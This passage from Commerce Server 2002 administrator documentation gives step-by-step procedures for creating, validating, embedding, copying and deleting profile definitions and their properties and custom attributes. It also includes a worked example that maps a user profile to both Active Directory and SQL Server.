  5. Click Finish to close the dialog box. If you want to add custom attributes to the profile definition, see Adding a Custom Attribute to a Profile Definition.

The new profile definition appears in the list of available profile definitions in Commerce Server Manager. The new profile definition contains the properties mapped to the data members of the data object from which you built the profile definition.

To add a profile definition that is not mapped to a data object

  1. Expand Commerce Server Manager, expand Profiles, expand Profile Catalog, right-click Profile Definitions, and then select New Profile Definition.
  2. In the New Profile Definition dialog box, do the following:
    Use this | To do this
    Name | Type a programmatic name for the new profile definition. The name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the name you want displayed for the new profile definition. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description for the new profile definition. The description can contain a maximum of 127 Unicode characters.
  3. Click Next to open the Custom Attributes dialog box.
  4. Click Finish to close the dialog box. If you want to add custom attributes to the profile definition, see Adding a Custom Attribute to a Profile Definition.

The new profile definition appears in the list of available profile definitions in Commerce Server Manager.

The new profile definition does not contain properties and is therefore not mapped to a data source. You must add properties to the new profile definition. For information about adding properties to a profile definition, see Adding Properties to Profile Definitions in the Profiles Resource.

See Also

About the Profiles Resource

Creating a New Data Source in the Profiles Resource

Adding Properties to Profile Definitions in the Profiles Resource

Creating Site Terms in the Profiles Resource

Managing Profile Definitions in the Profiles Resource

Adding a Custom Attribute to a Profile Definition


Adding a Custom Attribute to a Profile Definition

You use the Profiles resource to add custom attributes to your profile definitions. Custom attributes on profile properties are placeholders for storing application-specific information. The type of these attribute/value pairs must be string. Profile definition custom attributes are available only within the Profiles resource.

The following table lists profile definition custom attributes.

Custom attribute | Description | Values
DefaultParentURL | Specifies where profiles are stored in the underlying Lightweight Directory Access Protocol (LDAP) store. | The URL.
DWClassName | Specifies the name of the object (in this case a table) in the Data Warehouse to which the profile will export data. If the class (table) does not exist in the Data Warehouse, the DTS task will create it. | The name of the table in the Data Warehouse.

To add a custom attribute to a profile definition

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, right-click the profile definition to which you want to add a custom attribute, and then click Properties.
  2. In the Properties dialog box, on the Custom Attributes tab, click New to display the Custom Attribute dialog box.
  3. In the Custom Attribute dialog box, do the following:
    Use this | To do this
    Name | Type a programmatic name for the new attribute. The name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the name you want displayed for the attribute. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description for the attribute. The description can contain a maximum of 127 Unicode characters.
    Value | Type the value of the attribute.
  4. Click OK.
  5. To return to Commerce Server Manager, click OK.

The profile definition is saved with the new custom attribute.

See Also

About the Profiles Resource

Creating a New Data Source in the Profiles Resource

Adding Properties to Profile Definitions in the Profiles Resource

Managing Profile Definitions in the Profiles Resource


Validating Profile Definitions in the Profiles Resource

You use the Profiles resource to verify that the data members you use to map profile definitions are valid. Validating profile definitions ensures that the data collected with them on your Web site will be stored in existing database columns (or LDAP attributes).

Note

  • The validation routines attempt to write and then read back data for each property in the profile definition. The validation routines are not affected by constraints that may exist in the underlying data store. Therefore, these routines may attempt to write data that violates a constraint. If this occurs, a validation warning appears. You should examine the warning descriptions carefully to determine the validity of the profile.

To validate a profile definition

To validate all profile definitions in a site

To validate a profile definition

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, right-click the profile definition that you want to validate, and then click Validate this Profile.

    If the profile definition is valid, the Valid Profile dialog box appears. Click OK.

    If the profile definition is not valid, the Invalid Profile dialog box appears.

  2. To continue the validation operation, click Yes, and then click OK to close the Invalid Profile dialog box.

    Or, to stop the validation operation, click No, and then click OK to close the Invalid Profile dialog box.

To validate all profile definitions in a site

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, and then right-click Profile Definitions.
  2. Click Validate All Profiles.

    If all the profile definitions are valid, the Valid Profile dialog box appears. Click OK.

    If a profile definition is not valid, the Invalid Profile dialog appears.

  3. To continue the validation operation (skipping the invalid profile definition), click Yes, and then click OK to close the Invalid Profile dialog box.

    Or, to stop the validation operation, click No, and then click OK to close the Invalid Profile dialog box.

See Also

Creating a New Profile Definition in the Profiles Resource

Adding a New Data Member in the Profiles Resource

Adding Properties to Profile Definitions in the Profiles Resource

Managing Profile Definitions in the Profiles Resource

Managing Profile Properties in the Profiles Resource


Embedding a Profile Definition in the Profiles Resource

You can use the Profiles resource to associate profiles. You can use associated profiles to collect related data with different profile definitions. For example, if you associate the Address profile definition with the User Object profile definition, you can collect address data for each user. You can also perform this task using the Profile Definition Designer module in Commerce Server Business Desk. For information about embedding the Address profile definition and the User Object profile definition, see Embedded Profile Definitions.

For example, you can add three properties to the User Object profile definition, and use them to reference three instances of the Address profile definition (billing, shipping, and home address). This would enable you to use the Address profile definition to collect user address information on your Web site, while having the name of the address profile for the user stored in the user profile, so that you can present the data in the profiles together on your Web site and in reports.

To embed a profile definition

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click the profile definition to which you want to add a profile definition.
  2. In the profile designer screen, in the Properties list, expand the property group to which you want to add the new property, and then click Add.
  3. In the Add -- Web Page Dialog dialog box, select Add a new property, and then click OK.
  4. In the profile designer screen, in the Attributes section, do the following:
    Use this | To do this
    Name | Type the programmatic name for the property. The name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the display name you want displayed in Business Desk. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description for the property. The description can contain a maximum of 127 Unicode characters.
    Type | Select Profile from the Type drop-down list.
    Type Reference | Click the ellipsis [...] button to open the Profile Selection dialog box. In the Select a Profile list, expand the Profile Catalog, and then select the profile definition you want to add to the property.
  5. Click OK, and then click Apply.

    The profile definition is assigned to the property.

  6. To save the profile definition, click Save on the toolbar.

The profile definition is saved with the property change.

See Also

Profile Definitions

Adding Properties to Profile Definitions in the Profiles Resource

Creating Site Terms in the Profiles Resource

Profiling System Objects

Profile Schema


Creating a Profile Definition with Two Data Sources

The steps outlined in this section describe a scenario for creating a user profile definition that stores data in both a SQL Server database and an Active Directory database. This scenario is meant only to describe the process; do not use the actual profile described. You should design your profile definitions based on your business requirements.

Note

  • Your Commerce Server 2002 Active Directory domain controllers must be installed and configured before you can complete the following steps. For information about planning for Active Directory, see Planning for Active Directory Integration.

To create a profile definition with two data sources, you perform the following steps:

  • Step 1: Create the ProfileService_ADSource Data Source
  • Step 2: Add the Active Directory User Object
  • Step 3: Add Data Members to the Active Directory User Object
  • Step 4: Create the Active Directory-SQL Server User Profile Definition
  • Step 5: Add Property Groups to the Active Directory-SQL Server User
  • Step 6: Add SQL Server Properties to the Active Directory-SQL Server User

Step 1: Create the ProfileService_ADSource Data Source

  1. On the SQL Server/Commerce Server computer, expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, right-click Data Sources, and then click New Data Source.
  2. In the New Data Source dialog box, do the following:
    Use this | To do this
    Name | Type UPM_ADSource_test.
    Display Name | Type ProfileService_ADSource_test.
    Description | Type Active Directory data source.
  3. Click Next.
  4. In the Data Source dialog box, in the Source Type drop-down list, select LDAPv3-Compliant Source, and then click Next.
  5. In the Partitions dialog box, make sure the Partitioned Data Source check box is not selected, and then click Add.
  6. In the Partition dialog box, click Edit.
  7. In the LDAP Connection String dialog box, do the following:
    Use this | To do this
    Server | Type the name of the Active Directory domain controller. In this example, the name is MSCS01.
    Port | Leave blank (unless you are using a value other than 389).
  8. Click OK.
  9. In the Partition dialog box, make sure that the Default Partition check box is not selected.
  10. In the Partition dialog box, do the following:
    Use this | To do this
    User Name | Type your Microsoft Windows domain and user name for the Active Directory domain. Type it in the form domain\username.
    Password | Type your Windows domain password.
  11. Click Next.
  12. In the System Attributes dialog box, do the following:
    Use this | To do this
    Parent URL | Type the location on the Active Directory server where you want your Active Directory data to be stored relative to the root.
    Domain Name | Type the domain name of the Active Directory server.
Note
  • Do not change the default settings for the other options in the dialog box. The one exception is, you might want to select the Use the same credentials for all users option. This option forces the Profiles resource to use the credentials you entered in step 7 whenever it communicates with the Active Directory server. If you do not select this option, the Profiles resource uses the credentials of the process in which it is currently running.
  1. Click Next.
  2. In the Custom Attributes dialog box, click Finish.
  3. In the Partitions dialog box, click Finish.

The ProfileService_ADStore partition appears as a new node under Data Sources in Commerce Server Manager.

Step 2: Add the Active Directory User Object

You create a profile data object to map a profile property to the Active Directory user class.

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Data Sources, expand the ProfileService_ADSource_Test data source you created in the previous procedure, right-click Data Objects, and then click New Data Object.
  2. In the New Data Object dialog box, do the following:
    Use this | To do this
    Object Name | Select user. This is the Active Directory user class.
    Display Name | Type AD User Object.
  3. Click OK.

The AD User Object data object is added to the ProfileService_ADSource_test data source.

Step 3: Add Data Members to the AD User Object

You create a profile data member to map a profile property attribute to a column in a table in the database you mapped the data source to. In this example, we will add nine data members to the AD User Object data object created in the previous procedure. These members are for the user name, user password, and common name.

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Data Sources, expand ProfileService_ADSource_test, right-click AD User Object, and then click New Data Member.
  2. In the New Data Member dialog box, do the following:
    Use this | To do this
    Member Name | Select cn.
    Display Name | Type Common Name.
  3. Click Add.

    By default, the cn data member is marked as Required, Indexed, and Primary key.

    Note

    • The SAMAccountname data member is required for every instance of user class or any other class derived from the user class for the Active Directory data source. The SAMAccountname data member is a string property, and it must be unique.
  4. Repeat this procedure to add the following data members:
    Member name | Display name | Type
    SAMAccountname | Security Account Manager Account name | String
    givenName | First Name | String
    Initials | Initial | String
    sn | Last Name | String
    streetAddress | Street Address | String
    City | City | String
    St | State/Province | String
    postalCode | Postal Code | String
    co | Country/Region | String
  5. Click Finished.

Step 4: Create the Active Directory-SQL User Profile Definition

You use the AD User Object data object to create your custom profile definition. This profile definition will collect user profile information. Most of the properties will be mapped to a SQL Server database. The user name and password will be mapped to Active Directory.

You create this multiple-source profile by selecting the properties you want and mapping them to data members from different data sources.

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Data Sources, expand ProfileService_ADSource_Test, expand Data Objects, right-click AD User Object, point to New, and then click New Profile_Definition.
  2. In the New Profile Definition dialog box, do the following:
    Use this | To do this
    Name | Type AD_SQL_User.
    Display Name | Type AD-SQL User.
    Description | Type User profile definition using AD and SQL sources.
  3. Click Next.
  4. In the Custom Attributes dialog box, click Finish. (No custom attributes are created for this example.)

The new profile definition appears in the list of available profile definitions in Commerce Server Manager.

Step 5: Add Property Groups to AD-SQL User

To make your profile definition easier to read, you can create separate groups for your Active Directory and SQL Server properties. Before you add the SQL Server properties to your AD-SQL User profile definition, create the data groups.

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click AD-SQL User. The Properties list appears in the right pane.
  2. Click Add.
  3. In the Add -- Web Page dialog box, select Add a new group, and then click OK.
  4. In the Attributes section, do the following:
    Use this | To do this
    Name | Type ADGroup.
    Display Name | Type Active Directory.
  5. Click Apply.
  6. In the Properties list, select Active Directory, the group you just created, and then click the Up Arrow button at the bottom of the dialog box. Keep clicking it until Active Directory is moved to the top of the Properties list, above all of the other properties.
  7. Click the directional arrow to the left of Active Directory so that it points down. This expands the node, and prepares the group to accept properties.
  8. Click the first property underneath Active Directory. If you followed the preceding procedures exactly, this will be the Common Name property.
  9. Click the Up Arrow button at the bottom of the dialog box. The property name appears indented under Active Directory. This places the property in the Active Directory group.
  10. For each of the remaining properties, select its name and click the Up Arrow button.
  11. To add the SQL Server group to the property definition, click the Add button.
  12. In the Attributes section, do the following:
    Use this | To do this
    Name | Type SQLGroup.
    Display Name | Type SQL Server.
  13. Click Apply.
  14. To move the SQL Server group name to the left, click the Down Arrow at the bottom of the dialog box.

The properties you added are organized in the new property groups.

Step 6: Add SQL Server Properties to AD-SQL User

You have created a profile definition named AD-SQL User that has two property groups: Active Directory and SQL Server. You have already included the Active Directory properties. Next, you need to add the SQL Server properties.

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click AD-SQL User.
  2. In the profile definition screen, in the Properties list, click Common Name. The property attributes appear to the right.
  3. In the Advanced Attributes section, do the following:
    Use this | To do this
    Key Type Select Dual (Primary and Join). When using multiple data sources in a profile definition, it is necessary to create a join key that maps to both sources.

    Important

    • After you save a join key, you cannot change it at a later date.
    Map to Data | Click the ellipsis [...] button. In the Data Source Picker dialog box, expand ProfileService_ADSource_test, and then expand AD User Object. Select ProfileService_ADSource, and then select User Object. Expand ProfileService_ADSource_test and then select User.
  4. Hold down the CTRL key and select both u_logon_name (located under User Object), and cn (located under AD-SQL User), and then click OK to close the Data Source Picker dialog box.

    Both properties appear in the Map to Data box.

  5. In the Advanced Attributes section, select the RDN box, and then click Apply.

    The join key properties are designated as the Relative Distinguished Name (RDN) for the profile. The RDN must exist to create a valid profile that is mapped to an LDAPv3 source, such as Active Directory. (This is not required for OLE DB sources, such as SQL Server.)

  6. In the Properties list, click the directional arrow to the left of SQL Server, and then click Add.
  7. In the Add -- Web Page dialog box, select Add a new property, and then click OK.
  8. In the Properties list, select New Property 1.

    Add the properties in the following New Properties table to the AD-SQL User profile definition.

    Name | Display name | Type | Map to data
    u_user_security_password | Password | String | Password
    i_account_status | Account Status | Number | Account Status
    u_user_catalog_set | Catalog Set | String | User Catalog Set
    d_data_registered | Date Registered | Date/ Time | Date Created
    i_partner_desk_role | Partner Service Role | Number | Partner Service Role
    d_date_last_changed | Date Last Changed | Date/ Time | Date last changed
  9. In the Attributes section, do the following:
    Use this | To do this
    Name | Type the programmatic name for the property from the Name column in the previous table.
    Display Name | Type the display name for the property from the Display name column in the previous table.
    Type | Select from the drop-down list the property type for the property from the Type column in the previous table.
  10. In the Advanced Attributes section, click the Map to Data ellipsis [...] button. Navigate to SQL Server User Object, and then select the data member for the property from the Map to data column in the previous table.
  11. To apply the changes you made to the property, click Apply.
  12. Repeat Steps 7 through 11 until you have added all of the properties in the New Properties table.
  13. To save the profile definition, click [image] on the toolbar.

If you used the AD-SQL User profile definition on your Web site, it will store data in both a SQL Server database and an Active Directory database.


Changing a Profile Definition

You can change the display name and description of a profile definition, and change the custom attributes.

To change a profile definition

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, right-click the profile definition you want to modify, and then click Properties.
  2. In the <profile definition> Properties dialog box, on the General tab, do the following:
    Use this | To do this
    Display Name | Edit the name for the profile definition. The display name can contain a maximum of 127 Unicode characters.
    Description | Edit the description for the profile definition. The description can contain a maximum of 127 Unicode characters.
  3. On the Custom Attributes tab, do the following:
    Use this | To do this
    New | Click to open the Custom Attribute dialog box and add a new custom attribute.
    Edit | Click to open the Custom Attribute dialog box and edit the specified custom attribute.
    Delete | Click to delete the selected custom attribute.
  4. In the Custom Attributes dialog box, do the following:
    Use this | To do this
    Display Name | Type the name you want displayed or edit the name for the attribute. The display name can contain a maximum of 127 Unicode characters.
    Description | Type or edit the description for the attribute. The description can contain a maximum of 127 Unicode characters.
    Value | Type or change the value of the attribute.
Note
  • You can change the display name of a profile definition; however, you cannot change the programmatic name of a profile definition.
  1. To save the changes and return to the Properties dialog box, click OK.
  2. To save your changes and return to Commerce Server Manager, click Apply, and then click OK.

The profile definition is saved with the changes.


Copying a Profile Definition

You can copy an existing profile definition and save it under a new name.

Note

  • If you copy an existing profile definition to create a new profile definition, you must delete the properties listed in the following table from your new profile definition. These properties are valid only within the profile definitions in which they were originally created.
    Existing profile definition | Property
    User Object | User catalog set
    Organization | Organization catalog set

If you want to use these properties in your new profile definitions, you can recreate them using the same profile attributes that were included in the profile definitions from which they were copied. For information about creating new properties, see Adding Properties to a Profile Definition.

To copy a profile definition

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, right-click the profile you want to copy, and then click Make a Copy of This Profile.
  2. In the Copy Profile Definition dialog box, do the following:
    Use this | To do this
    Name | Type a programmatic name for the profile definition. The name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the name you want displayed for the profile definition. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description for the profile definition. The description can contain a maximum of 127 Unicode characters.
  3. Click Next.
  4. In the Custom Attributes dialog box, click New.
  5. In the Custom Attribute dialog box, do the following:
    Use this | To do this
    Name | Type a programmatic name for the attribute. The name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the name you want displayed for the attribute. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description for the attribute. The description can contain a maximum of 127 Unicode characters.
    Value | Type the value of the attribute.
  6. To save the profile definition, click OK.
  7. To save the profile definition and return to Commerce Server Manager, click Finish.

The new profile definition is saved.


Deleting a Profile Definition

Caution

  • If you delete a profile definition by mistake, you must recreate it. You cannot recover a profile definition after you have deleted it.

To delete a profile definition

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, right-click the profile definition you want to delete, and then click Delete.
  2. In the Delete Profile confirmation dialog box, click Yes.

The profile definition is deleted from the Profiles resource.

To delete a custom attribute from a profile definition

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, right-click the profile definition from which you want to delete a custom attribute, and then click Properties.
  2. In the Properties dialog box, on the Custom Attributes tab, select the attribute you want to delete, and then click Delete.

The custom attribute is deleted from the profile definition.


Managing Profile Properties in the Profiles Resource

You can use the Profiles resource to change, organize, map, and delete profile properties to update the data you want to collect from your Web site. In addition, you can change and delete custom attributes of a profile property.

This section contains:

  • Changing a Profile Property
  • Organizing Profile Properties
  • Deleting a Property from a Profile Definition
  • Changing a Custom Attribute of a Profile Property
  • Deleting a Custom Attribute from a Profile Property
  • Mapping a Profile Property to a Storage Location


Changing a Profile Property

You can use the Profiles resource to change profile properties to update the data you want to collect from your Web site. For example, you create a profile definition with a property that you use to collect data about the country/region in which the users who visit your Web site live. When you view the data collected with that profile property, you discover that a property of the type string is not the best way to collect useful location data from your users. You use the profile designer screen to modify the attributes of the property so that it collects data that is more useful.

To change a profile property

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click the profile definition that contains the property you want to change.
  2. In the Properties list, expand the property group that contains the property you want to change, and then click the property you want to change.

    Or, click the property group you want to change.

  3. In the profile designer screen, in the Attributes section, do the following:
    Use this | To do this
    Display Name | Edit the name you want displayed in Commerce Server Business Desk. The display name can contain a maximum of 127 Unicode characters.
    Description | Edit the description for the property. The description can contain a maximum of 127 Unicode characters.
    Type | Select the property type. The default property type is string. The property type of this attribute must be the same type as the data member to which this attribute is mapped.
    Type Reference | Click the ellipsis [...] button to select the site term or profile you are adding to the property definition. This feature is available only if you have selected the type site term or profile.
  4. In the profile designer screen, in the Advanced Attributes section, click Active if you want this property to be available in Business Desk. Inactive properties are not displayed in Business Desk.
  5. In the Map to Data box, click the ellipsis [...] button to open the Data Source Picker dialog box, and then select the data member to which the property maps.
  6. In the Data Source Picker dialog box, expand the data source that contains the data object that contains the data member with which you want to map the property.
  7. Expand the data object that contains the data member with which you want to map the property, and then select the data member.
  8. Click OK.
  9. In the profile designer screen, in the Advanced Attributes section, do the following:
    Use this | To do this
    Key Type | Select a key type from the drop-down list. Each profile definition requires a property that is a primary key and a property that is a join key, or a property that is a dual key (both primary and join).
    Required | Specifies that this property is required on your Web site and in Business Desk. However, this attribute is not enforced by the Profiles resource. This attribute is read-only if you have selected a key type.
    Exported Select this option to specify that this property will be imported into the Commerce Server Data Warehouse. You can export only mapped properties.

    You cannot export properties that are multi-valued and of the type Boolean or properties of type binary, long string, or password.
    Defer Cache | Select this option to specify that this property will not be loaded initially when the profile is retrieved, but will be loaded when this property is accessed. Each deferred cache property is retrieved individually from the OLEDB Provider when it is accessed.
    Multi-valued | Select this option to enable the collection of multiple values that are associated with this property. This value is not available if you have selected a key type for the property.
    Searchable | Select this option to specify that this property is indexed in the underlying data store and is available for searching using the Find By function.
    RDN | Type the Relative Distinguished Name (RDN) for a directory store. Set this value if this property maps to an RDN attribute of an LDAP class in the underlying store.
    Hashing Key Select this option to indicate that this property is used to distribute profile instances across multiple data source partitions.

    This property is read-only for non-partitioned data sources. You must query on this key to retrieve profiles.
  10. Click Apply.
  11. To save the profile definition, click [image] on the toolbar.

The profile definition is saved with the changes.


Organizing Profile Properties

You can move (organize) properties and property groups up and down in the Properties list to improve organization. For example, if you added three property groups to a property definition, you can move the existing properties up and down in the Properties list until they are in the property groups you created for them.

To organize profile properties

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click the profile definition that contains the properties you want to organize.
  2. In the Properties list, select the property or property group you want to move, and then use the Up and Down Arrow buttons to move the property or property group up or down in the list.
  3. To save the profile definition, click Save on the toolbar.

The profile definition is saved with the changes you made to the order of the property groups and properties.


Deleting a Property from a Profile Definition

You can delete properties and property groups if you do not need them in a profile definition. For example, you add seven properties to a profile definition, and you find that you need only six of them on your Web site. When you delete a property group, all properties in that group are also deleted.

To delete a property from a profile definition

Caution

  • You cannot recover a profile definition after you delete it.
  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click the profile definition that you want to delete a property from.
  2. In the Properties list, select the property or property group you want to delete, and then click Remove.
  3. In the Delete confirmation dialog box, click OK.
  4. To save the profile definition, click Save on the toolbar.

The profile definition is saved. It no longer contains the property or property group that you deleted.


Changing a Custom Attribute of a Profile Property

You can change any custom attribute from a property. You can change a custom attribute if you need to change the display name, description, or value of the attribute.

To change a custom attribute of a profile property

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click the profile definition that contains the property in which you want to change a custom attribute.
  2. In the Properties list, select the property that contains the custom attribute you want to change.
  3. In the profile designer screen, in the Custom Attributes section, click Edit.
  4. In the profile designer screen, in the Custom Attributes section, do the following:
    Use this | To do this
    Name | Edit the programmatic name for the attribute. The name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Edit the name you want displayed for the attribute. The display name can contain a maximum of 127 Unicode characters.
    Description | Edit the description for the attribute. The description can contain a maximum of 127 Unicode characters.
    Value | Edit the value of the attribute.
  5. Click Accept, and then click Apply.
  6. To save the profile definition, click Save on the toolbar.

The profile definition is saved with the changes.


Deleting a Custom Attribute from a Profile Property

You can edit or delete any custom attribute from a property. You can edit a custom attribute if you need to change the display name, description, or value of the attribute. If you delete a custom attribute by mistake, you must recreate it. You cannot recover a custom attribute after you delete it.

To delete a custom attribute from a profile property

Caution

  • You cannot recover a custom attribute after you delete it.
  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click the profile definition that contains the property you want to delete a custom attribute from.
  2. In the Properties list, select the property that contains the custom attribute you want to delete.
  3. In the profile designer screen, in the Custom Attributes section, select the custom attribute you want to delete, and then click Remove.

    The custom attribute is deleted from the profile property.

  4. Click Apply.
  5. To save the profile definition, click Save on the toolbar.

The profile definition is saved with the changes.

See Also

About the Profiles Resource

Adding Properties to Profile Definitions


Mapping a Profile Property to a Storage Location

Profile properties use data members to map data that is entered by users on your Web site to the appropriate storage location. For example, when a user types a first name into the First Name property of the User Object profile definition, the name is stored in the database column that the data member for the First Name property specifies.

Profile properties from a single profile definition can be mapped to data members from different types of data sources. Make sure there is a primary key data member on the data object to be mapped.

To map a profile property to a storage location

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click the profile definition that contains the property you want to map to a storage location.
  2. In the Profile Designer screen, in the Properties list, expand the property group that contains the property you want to map, and then select the property.
  3. In the profile designer screen, in the Advanced Attributes section, in the Map to Data box, click the ellipsis [...] button to open the Data Source Picker dialog box.
  4. In the Data Source Picker dialog box, expand the data source that contains the data object that contains the data member with which you want to map the property.
  5. Expand the data object that contains the data member with which you want to map the property, select the data member, and then click OK.
  6. In the profile designer screen, in the Advanced Attributes section, select Exported to specify that this property will be exported to the Commerce Server Data Warehouse. You can export only mapped properties.

    Note

    • You cannot export properties that are multi-valued and of the type Boolean or properties of type binary, long string, or password.
  7. Click Apply.

The profile property data will be stored in the designated data member, and will be imported into the Data Warehouse.

If you want to specify the location into which the data will be imported in the Data Warehouse, you will need to add the DWClassName custom attribute to the profile definition, and the DWMemberName custom attribute to the profile property.

See Also

Creating a Profile Definition with Two Data Sources


Adding Properties to Profile Definitions in the Profiles Resource

You use the Profiles resource to add a new property, new property groups and custom attributes to a profile definition.

The User Object profile definition is designed to collect data about users. You may need to update it to collect the specific information your organization requires. If your organization wants to use the Demographic segment and prediction models provided with the Predictor resource, you will need to update the User Object profile definition to collect the demographic data required to build the Demographics model. For information about how to extend the User profile definition by adding the properties required by the Demographic analysis models created in the Predictor resource, see Adding Demographic Properties to the User Profile Definition.

This section contains:

  • Adding a New Property to a Profile Definition
  • Adding a New Property Group to a Profile Definition
  • Adding a Custom Attribute to a Profile Property


Adding a New Property to a Profile Definition

You use the Profiles resource to add properties to a profile definition. Properties determine the data collected with the profile definition. For example, if you create an Address profile definition, you would add a property named "City" to it. (You can also add properties to a profile definition using the Profile Designer module in Commerce Server Business Desk. For information about using the Profile Designer module, see Business Desk Users.)

To add a new property to a profile definition

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click the profile definition to which you want to add a property.
  2. In the profile designer screen, in the Properties list, select the property group to which you want to associate the property you are adding, and then click Add.
  3. In the Add dialog box, select Add a new property, and then click OK.
  4. In the profile designer screen, in the Attributes section, do the following:
    Use this | To do this
    Name | Type the programmatic name of the property. The name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the name you want displayed in Business Desk. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description for the property. The description can contain a maximum of 127 Unicode characters.
    Type | Select the property type from the drop-down list. The default property type is string.
    Type Reference | Required for site term and profile types. Click the ellipsis [...] button to select the site term or profile you are adding to the property definition. This feature is available only if you have selected the site term or profile for the property type.
  5. In the profile designer screen, in the Advanced Attributes section, click Active to indicate that this property is available in Business Desk. Inactive properties are not displayed in Business Desk.
  6. In the Map to Data box, click the ellipsis [...] button to open the Data Source Picker dialog box.
  7. In the Data Source Picker dialog box, expand the data source that contains the data object that contains the data member with which you want to map the property.
  8. Expand the data object that contains the data member with which you want to map the property, select the data member, and then click OK.
  9. In the profile designer screen, in the Advanced Attributes section, do the following:
    Use this | To do this
    Key Type | Select a key type from the drop-down list. Each profile definition requires a property that is a primary key and a property that is a join key, or a property that is a dual key (both primary and join).
    Required | Specifies that this property is required on your Web site and in Business Desk. However, this attribute is not enforced by the Profiles resource. This attribute is read-only if you have selected a key type.
    Exported Select this option to specify that this property will be imported into the Commerce Server Data Warehouse. You can export only mapped properties.

    You cannot export properties that are multi-valued and of the type Boolean or properties of type binary, long string, or password.
    Defer Cache | Select this option to specify that this property will not be loaded initially when the profile is retrieved, but will be loaded when this property is accessed. Each deferred cache property is retrieved individually from the OLEDB Provider when it is accessed.
    Multi-valued | Select this option to enable the collection of multiple values that are associated with this property. This value is not available if you have selected a key type for the property.
    Searchable | Select this option to specify that this property is indexed in the underlying data store and is available for searching using the Find By function.
    RDN | Type the Relative Distinguished Name (RDN) for a directory store. Set this value if this property maps to an RDN attribute of an LDAP class in the underlying store.
    Hashing Key Select this option to indicate that this property is used to distribute profile instances across multiple data source partitions.

    This property is read-only for non-partitioned data sources. You must query on this key to retrieve profiles.
  10. Click Apply.
  11. To save the profile definition, click [image] on the toolbar.

The profile definition is saved with the new property.


Adding a New Property Group to a Profile Definition

You can create new property groups to organize the properties. For example, if you add 50 properties to a user profile definition that relate to four different categories, such as lifestyle, opinion, education, and preferences, you can create four property groups, one for each category, and arrange the properties that belong to each category in the appropriate property group. You can choose to show or hide the properties for each property group.

To add a new property group to a profile definition

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click the profile definition to which you want to add a property group.
  2. In the profile designer screen, click Add.
  3. In the Add dialog box, select the Add a new group option, and then click OK.
  4. In the profile designer screen, in the Attributes section, do the following:
    Use this | To do this
    Name | Type the programmatic name for the property group. The name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the name you want displayed in Business Desk. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description of the property. The description can contain a maximum of 127 Unicode characters.
  5. Click Apply.
  6. To save the profile definition, click [image] on the toolbar.

The profile definition is saved with the new property group. You can move properties into the group or add new properties to the group.


Adding a Custom Attribute to a Profile Property

The Profiles resource provides each property with attributes that store characteristics of the property, such as the property name (City) and the property type (string). In addition to the property attributes provided by the Profiles resource, you can also define custom attributes for properties. For example, you can create a custom attribute that controls how a property is used on a Web site.

For example, if you are accessing the Widgets virtual directory to modify your profile definitions on a site that has Secure Socket Layers (SSL) enabled, change the to HTTPS.

To add a custom attribute to a profile property

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click the profile definition that contains the property to which you want to add a custom attribute.
  2. In the profile designer screen, in the Properties list, select the property to which you want to add a custom attribute.
  3. In the profile designer screen, in the Custom Attributes section, click New.
  4. In the profile designer screen, in the Custom Attributes section, do the following:
    Use this | To do this
    Name | Type a programmatic name for the custom attribute. The name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
